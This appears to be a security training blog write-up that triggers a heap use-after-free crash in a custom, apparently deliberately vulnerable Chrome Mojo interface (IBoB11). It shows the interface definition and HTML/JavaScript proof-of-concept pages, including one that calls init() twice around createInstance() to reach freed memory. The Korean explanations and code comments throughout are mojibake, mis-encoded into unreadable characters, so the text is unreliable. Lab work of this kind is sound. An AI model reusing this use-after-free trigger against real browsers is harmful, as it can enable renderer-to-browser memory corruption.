Security

[IPC] heap-use-after-free crash

๋‚จ๋ฐ”์˜ค 2023. 3. 17. 22:57

https://www.notion.so/skaqnrudckfcjd/IPC-_-_HW-1-66f1a73a005d491eab3f34e04a942d17?pvs=4 

 

[IPC]_{๋‚จํ˜„๊ฒฝ}_HW#1

Mojo Bindings for JavaScript ํ™œ์„ฑํ™”

www.notion.so

  • Mojo Bindings for JavaScript ํ™œ์„ฑํ™”
./chrome —enable-blink-features=MojoJS
  • bob11.mojom → IBoB11 Mojo ์ธํ„ฐํŽ˜์ด์Šค IDL
module blink.mojom;

interface IBoB11 {
	hello() => ();
	iambinish() => (string whoami); //๊ฒฐ๊ณผ ์ถœ๋ ฅ๋˜๋Š” ๊ณณ
	init() => ();
	createInstance() => (pending_associated_remote<blink.mojom.IBoB11Instance> ? instance);
};

interface IBoB11Instance {
	goodluck() => ();
};
  • IPC.html
//๊ฒฝ๋กœ์— ํŒŒ์ผ ์ถ”๊ฐ€
<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/bob11/bob11.mojom.js"></script>
<script>
//logger interface ํ˜ธ์ถœ
var logger = new blink.mojom.IBoB11Ptr(); 
Mojo.bindInterface(blink.mojom.IBoB11.name, mojo.makeRequest(logger).handle);
//iambinish ํ•จ์ˆ˜ ํ˜ธ์ถœ
console.log(logger.iambinish());

</script>

→ ํŽ˜์ด์ง€ 25์˜ Mojo Interface ํ˜ธ์ถœ ์˜ˆ์ œ๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ logger ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ํ˜ธ์ถœํ•ด๋ณด์•˜๋‹ค.

๊ทธ๋ฆฌ๊ณ  ํฌ๋กฌ์„ ํ™œ์„ฑํ™”์‹œํ‚จ ํ›„์— ํ•ด๋‹น html์ด ์žˆ๋Š” ๊ฒฝ๋กœ์— ์ ‘์†ํ•ด๋ณด์•˜๋‹ค.

→ ํ•ด๋‹น ๊ฒฝ๋กœ ์ ‘์†

/home/greena/Desktop/IBoB11_Files/bob11/IPC.html

iambinish() ํ˜ธ์ถœ


  • bob.html
<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/bob11/bob11.mojom.js"></script>
<script>
	async function bob(){
//logger interface ํ˜ธ์ถœ
	var logger = new blink.mojom.IBoB11Ptr();
	Mojo.bindInterface(blink.mojom.IBoB11.name, mojo.makeRequest(logger).handle);
	
//init()์—์„œ make_unique<UaFImpl> 
	logger.init();
//IBoB11InstanceAssociatedPtr์— ์žˆ๋Š” createInstance์—์„œ row ptr๋กœ ์ „๋‹ฌ
//async์‹์„ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ˆœ์„œ๋ฅผ ์ง€์ผœ์ฃผ๊ธฐ ์œ„ํ•ด await ์‚ฌ์šฉ
	var instance = new blink.mojom.IBoB11InstanceAssociatedPtr((await logger.createInstance()).instance);

//init() ์žฌํ˜ธ์ถœ -> Hint : Twice
	logger.init();

	instance.goodluck();
}

bob();

</script>

→ initํ•จ์ˆ˜์—์„œ unique ptr์„ ๋ฐ›๊ฒŒ ๋˜๋Š”๋ฐ createInstance์— ์žˆ๋Š” ํฌ์ธํ„ฐ ๊ฐ’์—์„œ raw pointer๋กœ ๋ฐ›๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— init์ด ์žฌํ˜ธ์ถœ๋  ๊ฒฝ์šฐ์— ์ด๋ฏธ Free๋œ ๊ณต๊ฐ„์„ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ํ•˜๊ธฐ ๋•Œ๋ฌธ์— UaF๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค.

→ heap-use-after-free crash๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.